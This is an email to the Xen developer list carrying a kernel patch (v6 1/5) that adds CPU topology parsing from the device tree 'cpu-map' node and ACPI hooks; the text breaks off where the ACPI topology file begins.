Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 10:45:34 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xJTr6O8u3zxBDmTr3h6rx2n/qXpqyoBQOYvPdSmWMZ3OJjT7Lvc1e6aKrX0M1J6Bpb2ZgIDLrFWsETR0uvcir5IChFk1ePcgM2rOvmAiySnrIO9tmCI+ic32B0JRvPClZ4KWAPoaQkf6nO3SA4IXny8hWj6h9dGIZWAVcPHc3K/wGPncA6ZCvKlthLDnAUglM8YpnqYZ2FaoyyrZ5oApyyqoxnyMowlAaKrf6bLKt8RNKx0Q5TRAAIwyaNxlv02K2vNjX3LT8qvu8VHhT9qpOHwlyFjLhKxdTmnatAax7lURDRiGUqqhDTfylzHAKdrDhW7gKjF8k5pA2W9fGtvjZw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=NvwQZehxXB09vIZoJkUcftBlcMfxyVb3a3R+w/6waGc=;
 b=pL9v6RT8hXfsZBXCwnFQ/vAA6z/wL3q+4Oi7vKJhZd+c+mhuAqoMaB9lXSof2zrtSF/EUhGYv/dPW8i5aHf67Ot3MSaN8S363WkRa6XzqqGWJ1b/seRpiSKBFTArH/lRaTqGh0flsiqgJhkQRnUA1fFyEp/WePvU1SYvgY79v/2326wnXSkZSJJsAJmIeQ4yK9YCc+LRewCqOSIu4SB5IBVgV5c3W57geekEs8/GRhTSs3VPD0wm6u4baz07DElYbdMLhfH4mBmOGgdSYWBnGcQfiuQRmv9s+i/mCG2CVRTt0MAlYMREXpKhwS81epD8JF7lwapboUI++S+rhoKxdA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=NvwQZehxXB09vIZoJkUcftBlcMfxyVb3a3R+w/6waGc=;
 b=G2pToSkmTgLr3HbeoLD1sDIZyBdyimawIHMpthn75mZfZpWrAbWfCyYvPak0DIO37VQhd7tMWZLjppcVE0yQViTnJx7ofEjAN19AFYPMejA+OSr50J50Fc9vc+o+BH5XuiPnCrMR8ZNYcGto1Tgphbnf0fIGJ80TfL4ykOIA+MI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
Date: Tue, 14 Jul 2026 19:44:41 +0900
Message-ID: <20260714104445.919830-2-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260714104445.919830-1-taka@valinux.co.jp>
References: <20260714104445.919830-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4P301CA0073.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36f::7) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY6P286MB7347:EE_
X-MS-Office365-Filtering-Correlation-Id: df01bb8f-2de9-46cf-e343-08dee195085c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|376014|7416014|10070799003|18002099003|22082099003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	QrgFVUVgxwSTLvb7y6tFWyNSVev1DKg9VP3adNJbmg8VL0CdZ00nnvRln+Vv8WGVE3IZ3wqQMViaBdr/yyLh+uzKIqBttJEw0woFt0qOgFq0HKOPBL0nLXfeFqVR7/Gnlrgpu1Y3WDB32TBZdzHN2dZkU0IMtPFly4vSMlTpXWNPOjzHEeE1ZUVm9CaFi7/CMmZz0sKR0fQYCobqWJy/0xWz3EvXjgdMP6Qd6SAPimDazf+m4xG22GRtQ5V9bUOrz4nriAXtOgby0qAcoDz8iahfetWCH2ZiJ2nZWmbOwOoP1Xk3rClsjmUeZG4a/sWYXqc5QzWnhfGRsMvXEqWqPmZ4VzESWEONcoU8V14g6nrgNjeKFHVzgAn0laQe43ewxN1DyWmJB+RoZTEkjnuCR73Zx65egdJQb+Tbi7JpXVoZrUkkbL3R10dWAoh8oYudgvw4sgWlmDuNdsFroy18O6QxsyszRGFMhLILMjpx47Zp1BuvWjGjL3Ka54E+57fYSaFxgrMa+xtdq5DTr8waLjV0e9/ah3xc4as4tXGQEd7bHfeR17q13kY2DEP+gWUXBf68Mh7MXR8oSOGlTMFxrB8mCui1V3tL4iJCGEwlH1SqcJBPdn3+s5tA0rDr3It5dzVYGeu8ZSQhjSfQRMrPx8fFWI83wxxf3LUf4CvW9tk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(376014)(7416014)(10070799003)(18002099003)(22082099003)(56012099006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?HGBYhjz1qFA4B+Fi4ockFMrHmN8pmtdWOKjRqnExMYrGjrpJJ9dLRlHvyQ04?=
 =?us-ascii?Q?J31PNEXFCT/hj9X+MeqW7Fzqy+MbNvTMu/3q9v25oe0eU3oO5WECRx+Az9Q7?=
 =?us-ascii?Q?NAsvjdZZm+ajaNQM7qAxnz3aXl3bXARtRDFTWxzEzu8N37EpyCHlxFA3ujE0?=
 =?us-ascii?Q?vhlw2VmX5OsbvrNs5uinRYj8M9IyKtWj9VvQoX+GCKqib4WioAUAMBCar4TR?=
 =?us-ascii?Q?lolukV4yP+7JHIXkj9c53De/AsljwLdwh3MDDJjE3aqTaBxk6GQm2u01o0xM?=
 =?us-ascii?Q?IPgeORqFt5eTX/0rLs4f2J9Ns8aN2rIUBoEKlSgBMM3Iv+EaHhck7JDPp9eW?=
 =?us-ascii?Q?1x3ujksdz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3BTUB7xRVom0Nt2SHFgnNwwEwcxTANu6VoU+oPJn?=
 =?us-ascii?Q?L9hsd2vqYMUi4GKUy490mhmnon0iluH55hL/qLBI19ra3xNoVTS+4vcUjL3+?=
 =?us-ascii?Q?3nqzuGlUtJFCmLR+lebjLtPUHwHazVuxD52oHIwqDnhhl8WtiPuEE7EhWdKm?=
 =?us-ascii?Q?hoBTwOFjj3O54xFfeTFjQqpCeuezNwxaW4ptaqtKI/QqgIZkI5JK9O/8G6Md?=
 =?us-ascii?Q?mOxYMwYt0scd8Pss0uUszW+G5tFCZReFf0evW90bmKuzFRU6yI6bzdgptI9f?=
 =?us-ascii?Q?ZicrzY/dR/hXCbsC/YbRpJxGAQnXlqHtF+gLS0bbEtlEardBDDeEpgeyZzhZ?=
 =?us-ascii?Q?sUU4KDcrCbmP6prQyJBXSQJQw3sAu5zis1HQc1UDZHujSEgm+l5zk3pHeIK6?=
 =?us-ascii?Q?eu0kOneNvjPnkd9+PZJs+a5H6DkGD7tP4/+Ozr1cY3trphUGBmycfZlB7Zrh?=
 =?us-ascii?Q?hBFti14nvdu6eGcvPlUxVDlJVkiCjx10BldP5ZlzWOwKlgesuzbPfHbqdfi1?=
 =?us-ascii?Q?8sjGJNw7Q3MGQm/BM+9S3ePoZYdS8vfARCF53VDmQzbI2Zqi4eE3iSSykE2Y?=
X-MS-Exchange-AntiSpam-MessageData-1: XfooPvzFYSocoQ==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: df01bb8f-2de9-46cf-e343-08dee195085c
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 10:45:34.0612
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 7FlmHVx3mFyDb9AsfW9AKTWc/dYb9ZURQG9wGMAD7P+t1H4a9Ok5TpaL0toEKoDdWj/dG18z8j6azXKs/jV8Dw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY6P286MB7347
X-purgate-ID: tlsNG-bad1c0/1784025939-BC2F4034-866769C7/0/0
X-purgate-type: clean
X-purgate-size: 22679

Parse the 'cpu-map' node in the Device Tree to extract CPU topology
information. If the 'cpu-map' node is absent, fall back to
generating the topology data from the NUMA information. This
generation assumes exactly one socket per NUMA node and that SMT
is unsupported.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v6:
   * Updated Kconfig to make both DT_CPU_TOPOLOGY and ACPI_CPU_TOPOLOGY
     select GENERIC_CPU_TOPOLOGY.
   * Ensured that if topology parsing from either DT or ACPI PPTT fails, the
     CPU topology table is freed to fall back to the non-topology behavior.
   * Moved the `cpu_topology` definition to `cpu.c` so that variables and
     functions in `cpu-topology.c` can be completely freed after Xen init.
   * Avoided assuming `np` becomes NULL after exiting
     `dt_for_each_child_node()`; explicitly return NULL instead.
   * Optimized `setup_siblings_masks()` to eliminate redundant loop iterations.
   * Replaced the `invalid_topo_id` constant with the `INVALID_TOPO_ID` macro.
   * Initialized all members of the `cpu_map` array with `INVALID_TOPO_ID`.
   * Applied the `static` specifier to file-local data structures and functions.
   * Renamed local variables to more intuitive names.

 xen/arch/arm/Kconfig                  |   1 +
 xen/arch/arm/smpboot.c                |   7 +
 xen/common/Kconfig                    |  22 ++
 xen/common/Makefile                   |   1 +
 xen/common/cpu-topology.c             |  65 +++++
 xen/common/cpu.c                      |   5 +
 xen/common/device-tree/Makefile       |   1 +
 xen/common/device-tree/cpu-topology.c | 343 ++++++++++++++++++++++++++
 xen/drivers/acpi/Kconfig              |   3 +
 xen/drivers/acpi/Makefile             |   1 +
 xen/drivers/acpi/topology.c           |  41 +++
 xen/include/xen/acpi.h                |  13 +
 xen/include/xen/cpu-topology.h        |  34 +++
 xen/include/xen/dt-cpu-topology.h     |  35 +++
 14 files changed, 572 insertions(+)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 843a43897e..1e0fd4957e 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -19,6 +19,7 @@ config ARM
 	select HAS_ALTERNATIVE if HAS_VMAP
 	select HAS_DEVICE_TREE_DISCOVERY
 	select HAS_DOM0LESS
+	select HAS_GENERIC_CPU_TOPOLOGY
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
 	select HAS_STACK_PROTECTOR
 	select HAS_STATIC_MEMORY
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index ba5fd2dd52..d957553a44 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -9,10 +9,12 @@
 
 #include <xen/acpi.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/delay.h>
 #include <xen/device_tree.h>
 #include <xen/domain_page.h>
+#include <xen/dt-cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/mm.h>
@@ -244,6 +246,9 @@ static void __init dt_smp_init_cpus(void)
         }
         else
             tmp_map[i] = hwid;
+
+        /* Pass the info to dt_init_cpu_topology() */
+        map_cpu_to_dt_node(i, cpu);
     }
 
     if ( !bootcpu_valid )
@@ -280,6 +285,8 @@ void __init smp_init_cpus(void)
     else
         acpi_smp_init_cpus();
 
+    init_cpu_topology();
+
     if ( opt_hmp_unsafe )
         warning_add("WARNING: HMP COMPUTING HAS BEEN ENABLED.\n"
                     "It has implications on the security and stability of the system,\n"
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba84..8e64b58739 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -140,6 +140,9 @@ config HAS_EX_TABLE
 config HAS_FAST_MULTIPLY
 	bool
 
+config HAS_GENERIC_CPU_TOPOLOGY
+	bool
+
 config HAS_IOPORTS
 	bool
 
@@ -191,6 +194,25 @@ config VM_EVENT
 config NEEDS_LIBELF
 	bool
 
+config GENERIC_CPU_TOPOLOGY
+	bool
+
+config DT_CPU_TOPOLOGY
+    bool "Device tree based CPU topology support (UNSUPPORTED)" if UNSUPPORTED
+    depends on HAS_GENERIC_CPU_TOPOLOGY && DEVICE_TREE_PARSE
+    select GENERIC_CPU_TOPOLOGY
+    help
+      Retrieve CPU topology information from the device tree to optimize
+      virtual CPU scheduling.
+
+config ACPI_CPU_TOPOLOGY
+    bool "ACPI based CPU topology support (UNSUPPORTED)" if UNSUPPORTED
+    depends on HAS_GENERIC_CPU_TOPOLOGY && ACPI
+    select GENERIC_CPU_TOPOLOGY
+    help
+      Retrieve CPU topology information from the ACPI PPTT to optimize
+      virtual CPU scheduling.
+
 config NUMA
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e25614..901bb37925 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -5,6 +5,7 @@ obj-$(CONFIG_GENERIC_BUG_FRAME) += bug.o
 obj-$(CONFIG_HYPFS_CONFIG) += config_data.o
 obj-$(CONFIG_CORE_PARKING) += core_parking.o
 obj-y += cpu.o
+obj-$(CONFIG_GENERIC_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-$(CONFIG_DEBUG_TRACE) += debugtrace.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += device.o
 obj-$(filter-out $(CONFIG_X86),$(CONFIG_ACPI)) += device.o
diff --git a/xen/common/cpu-topology.c b/xen/common/cpu-topology.c
new file mode 100644
index 0000000000..374b3fce1b
--- /dev/null
+++ b/xen/common/cpu-topology.c
@@ -0,0 +1,65 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/dt-cpu-topology.h>
+#include <xen/init.h>
+
+static void __init free_topology_table(void)
+{
+    unsigned int cpu;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        free_cpumask_var(cpu_topology[cpu].thread_sibling);
+        free_cpumask_var(cpu_topology[cpu].core_sibling);
+        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
+    }
+
+    XFREE(cpu_topology);
+}
+
+void __init init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    cpu_topology = xzalloc_array(struct cpu_topology, nr_cpu_ids);
+    if ( !cpu_topology )
+    {
+        printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");
+        return;
+    }
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
+        {
+            free_topology_table();
+            printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");
+            return;
+        }
+    }
+
+    if ( acpi_disabled )
+        ret = dt_init_cpu_topology();
+    else
+        ret = acpi_init_cpu_topology();
+
+    /* Free the CPU topology table if initialization fails. */
+    if ( ret != 0 )
+        free_topology_table();
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/common/cpu.c b/xen/common/cpu.c
index f09af0444b..3242adb6f0 100644
--- a/xen/common/cpu.c
+++ b/xen/common/cpu.c
@@ -46,6 +46,11 @@ const unsigned long cpu_bit_bitmap[BITS_PER_LONG+1][BITS_TO_LONGS(NR_CPUS)] = {
 #undef MASK_DECLARE_2
 #undef MASK_DECLARE_1
 
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+struct cpu_topology;
+struct cpu_topology *__ro_after_init cpu_topology;
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
 static DEFINE_RWLOCK(cpu_add_remove_lock);
 
 bool get_cpu_maps(void)
diff --git a/xen/common/device-tree/Makefile b/xen/common/device-tree/Makefile
index 9036e455d6..6ee670b5f4 100644
--- a/xen/common/device-tree/Makefile
+++ b/xen/common/device-tree/Makefile
@@ -1,6 +1,7 @@
 obj-y += bootfdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo-fdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo.init.o
+obj-$(CONFIG_DT_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-y += device-tree.o
 obj-$(CONFIG_DOMAIN_BUILD_HELPERS) += domain-build.init.o
 obj-$(filter $(CONFIG_DOM0LESS_BOOT),$(CONFIG_HAS_DEVICE_TREE_DISCOVERY)) += dom0less-build.init.o
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
new file mode 100644
index 0000000000..be82272c14
--- /dev/null
+++ b/xen/common/device-tree/cpu-topology.c
@@ -0,0 +1,343 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
+ * Parse cpu topology information.
+ */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/device_tree.h>
+#include <xen/errno.h>
+#include <xen/init.h>
+
+#define INVALID_TOPO_ID (~0U)
+
+struct cpu_map {
+    unsigned int thread_id;
+    unsigned int core_id;
+    unsigned int cluster_id;
+    unsigned int package_id;
+};
+
+static struct cpu_map __initdata cpu_map[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = {INVALID_TOPO_ID, INVALID_TOPO_ID,
+                           INVALID_TOPO_ID, INVALID_TOPO_ID}
+};
+static struct dt_device_node *__initdata dt_cpu_table[NR_CPUS];
+
+static void __init setup_siblings_masks(unsigned int target_cpu)
+{
+    const struct cpu_topology *target_topo = &cpu_topology[target_cpu];
+    const struct cpu_map *target_map = &cpu_map[target_cpu];
+    unsigned int cpu;
+
+    /* Update cluster, core and thread sibling masks */
+    for_each_possible_cpu(cpu)
+    {
+        const struct cpu_topology *cpu_topo = &cpu_topology[cpu];
+        const struct cpu_map *map = &cpu_map[cpu];
+
+        if ( target_cpu > cpu )
+            continue;
+
+        if ( target_map->package_id != map->package_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->core_sibling);
+        cpumask_set_cpu(cpu, target_topo->core_sibling);
+
+        if ( target_map->cluster_id != map->cluster_id )
+            continue;
+
+        if ( target_map->cluster_id != INVALID_TOPO_ID )
+        {
+            cpumask_set_cpu(target_cpu, cpu_topo->cluster_sibling);
+            cpumask_set_cpu(cpu, target_topo->cluster_sibling);
+        }
+
+        if ( target_map->core_id != map->core_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->thread_sibling);
+        cpumask_set_cpu(cpu, target_topo->thread_sibling);
+    }
+}
+
+static struct dt_device_node *__init dt_find_child_node_by_name(
+    const struct dt_device_node *dt,
+    const char *name)
+{
+    struct dt_device_node *np;
+
+    dt_for_each_child_node(dt, np)
+        if ( np->name && (dt_node_cmp(np->name, name) == 0) )
+            return np;
+
+    return NULL;
+}
+
+void __init map_cpu_to_dt_node(unsigned int cpu,
+                               struct dt_device_node *cpu_node)
+{
+    if ( cpu < ARRAY_SIZE(dt_cpu_table) )
+        dt_cpu_table[cpu] = cpu_node;
+    else
+        printk(XENLOG_WARNING
+               "cpu %u exceeds the max cpus %zu\n",
+               cpu, ARRAY_SIZE(dt_cpu_table));
+}
+
+static unsigned int __init cpu_node_to_id(
+    const struct dt_device_node *cpu_node)
+{
+    unsigned int cpu;
+
+    for_each_possible_cpu(cpu)
+        if ( cpu_node == dt_cpu_table[cpu] )
+            return cpu;
+
+    return INVALID_TOPO_ID;
+}
+
+/*
+ * This function returns the Xen cpu number of the DT node.
+ */
+static unsigned int __init get_cpu_for_node(
+    const struct dt_device_node *dt_node)
+{
+    const struct dt_device_node *cpu_node =
+        dt_parse_phandle(dt_node, "cpu", 0);
+
+    if ( !cpu_node )
+        return INVALID_TOPO_ID;
+
+    return cpu_node_to_id(cpu_node);
+}
+
+static int __init parse_core(const struct dt_device_node *core,
+                             unsigned int package_id,
+                             unsigned int cluster_id,
+                             unsigned int core_id)
+{
+    bool leaf = true;
+    unsigned int thread_id;
+    unsigned int cpu;
+
+    for ( thread_id = 0; ; thread_id++ )
+    {
+        const struct dt_device_node *thread;
+        char name[20];
+
+        snprintf(name, sizeof(name), "thread%u", thread_id);
+        thread = dt_find_child_node_by_name(core, name);
+
+        if ( !thread )
+            break;
+
+        leaf = false;
+        cpu = get_cpu_for_node(thread);
+
+        if ( cpu == INVALID_TOPO_ID )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(thread));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = thread_id;
+    }
+
+    cpu = get_cpu_for_node(core);
+
+    if ( cpu != INVALID_TOPO_ID )
+    {
+        if ( !leaf )
+        {
+            printk(XENLOG_ERR "ERROR: %s: Core has both threads and CPU\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = 0;
+    }
+    else if ( leaf )
+    {
+        printk(XENLOG_ERR
+               "ERROR: %s: Can't get CPU for leaf core\n", dt_node_name(core));
+        return -EINVAL;
+    }
+
+    return 0;
+}
+
+static int __init parse_cluster(const struct dt_device_node *cluster,
+                                unsigned int package_id,
+                                unsigned int cluster_id,
+                                unsigned int depth)
+{
+    bool leaf = true;
+    bool has_cores = false;
+    unsigned int core_id;
+    unsigned int child_cluster_id;
+
+    /*
+     * First check for child clusters; we currently ignore any
+     * information about the nesting of clusters and present the
+     * scheduler with a flat list of them.
+     */
+    for ( child_cluster_id = 0; ; child_cluster_id++ )
+    {
+        const struct dt_device_node *child_cluster;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "cluster%u", child_cluster_id);
+        child_cluster = dt_find_child_node_by_name(cluster, name);
+
+        if ( !child_cluster )
+            break;
+
+        leaf = false;
+        ret = parse_cluster(child_cluster, package_id, child_cluster_id,
+                            depth + 1);
+        if ( depth > 0 )
+            printk(XENLOG_WARNING
+                   "WARNING: Topology for clusters of clusters not yet supported\n");
+        if ( ret != 0 )
+            return ret;
+    }
+
+    /* Now check for cores */
+    for ( core_id = 0; ; core_id++ )
+    {
+        const struct dt_device_node *core;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "core%u", core_id);
+        core = dt_find_child_node_by_name(cluster, name);
+
+        if ( !core )
+            break;
+
+        has_cores = true;
+
+        if ( depth == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: cpu-map children should be clusters\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        if ( leaf )
+        {
+            ret = parse_core(core, package_id, cluster_id, core_id);
+            if ( ret != 0 )
+                return ret;
+        }
+        else
+        {
+            printk(XENLOG_ERR "ERROR: %s: Non-leaf cluster with core %s\n",
+                   dt_node_name(cluster), name);
+            return -EINVAL;
+        }
+    }
+
+    if ( leaf && !has_cores )
+        printk(XENLOG_WARNING "WARNING: %s: empty cluster\n",
+               dt_node_name(cluster));
+
+    return 0;
+}
+
+static int __init parse_socket(const struct dt_device_node *socket)
+{
+    bool has_socket = false;
+    unsigned int package_id;
+    int ret;
+
+    for ( package_id = 0; ; package_id++ )
+    {
+        const struct dt_device_node *cluster;
+        char name[20];
+
+        snprintf(name, sizeof(name), "socket%u", package_id);
+        cluster = dt_find_child_node_by_name(socket, name);
+
+        if ( !cluster )
+            break;
+
+        has_socket = true;
+        ret = parse_cluster(cluster, package_id, INVALID_TOPO_ID, 0);
+        if ( ret != 0 )
+            return ret;
+    }
+
+    if ( !has_socket )
+        ret = parse_cluster(socket, 0, INVALID_TOPO_ID, 0);
+
+    return ret;
+}
+
+static int __init parse_dt_topology(void)
+{
+    const struct dt_device_node *cpus;
+    const struct dt_device_node *map;
+
+    cpus = dt_find_node_by_path("/cpus");
+    if ( !cpus )
+    {
+        printk(XENLOG_ERR "ERROR: No CPU information found in DT\n");
+        return -EINVAL;
+    }
+
+    map = dt_find_child_node_by_name(cpus, "cpu-map");
+    if ( !map )
+        return -ENOENT;
+
+    return parse_socket(map);
+}
+
+int __init dt_init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    BUG_ON(!acpi_disabled);
+    BUG_ON(!cpu_topology);
+
+    ret = parse_dt_topology();
+    if ( ret == 0 )
+        for_each_possible_cpu(cpu)
+            setup_siblings_masks(cpu);
+
+    return ret;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/drivers/acpi/Kconfig b/xen/drivers/acpi/Kconfig
index e3f3d8f4b1..ef0b9a4502 100644
--- a/xen/drivers/acpi/Kconfig
+++ b/xen/drivers/acpi/Kconfig
@@ -2,6 +2,9 @@
 config ACPI
 	bool
 
+config ACPI_CPU_TOPOLOGY
+	bool
+
 config ACPI_LEGACY_TABLES_LOOKUP
 	bool
 
diff --git a/xen/drivers/acpi/Makefile b/xen/drivers/acpi/Makefile
index 477408afbe..bcdb1b5e1b 100644
--- a/xen/drivers/acpi/Makefile
+++ b/xen/drivers/acpi/Makefile
@@ -10,3 +10,4 @@ obj-$(CONFIG_PM_OP) += pm-op.o
 
 obj-$(CONFIG_X86) += hwregs.o
 obj-$(CONFIG_X86) += reboot.o
+obj-$(CONFIG_ACPI_CPU_TOPOLOGY) += topology.init.o
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
new file mode 100644
index 0000000000..45d1f2c5be
--- /dev/null
+++ b/xen/drivers/acpi/topology.c
@@ -0,0 +1,41 @@
